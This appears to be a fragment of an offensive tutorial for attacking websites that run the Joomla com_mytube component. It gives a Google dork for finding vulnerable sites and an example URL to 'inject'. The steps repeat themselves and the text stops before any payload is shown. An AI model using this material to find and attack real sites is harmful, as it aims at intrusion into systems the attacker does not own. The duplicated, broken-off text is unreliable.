1- Finding Exploit And Target
Google dork: inurl:"option=com_mytube"
Type that Dork in Google.

2- Inject Target
Find a url like this:
http://site.com/index.php?option=com_mytube&Itemid=88..
Now replace the url like this:
Google dork: inurl:"option=com_mytube"
Type that Dork in Google.
2- Inject Target
Find a url like this:
http://site.com/index.php?option=com_mytube&Itemid=88..
Now replace the url like this: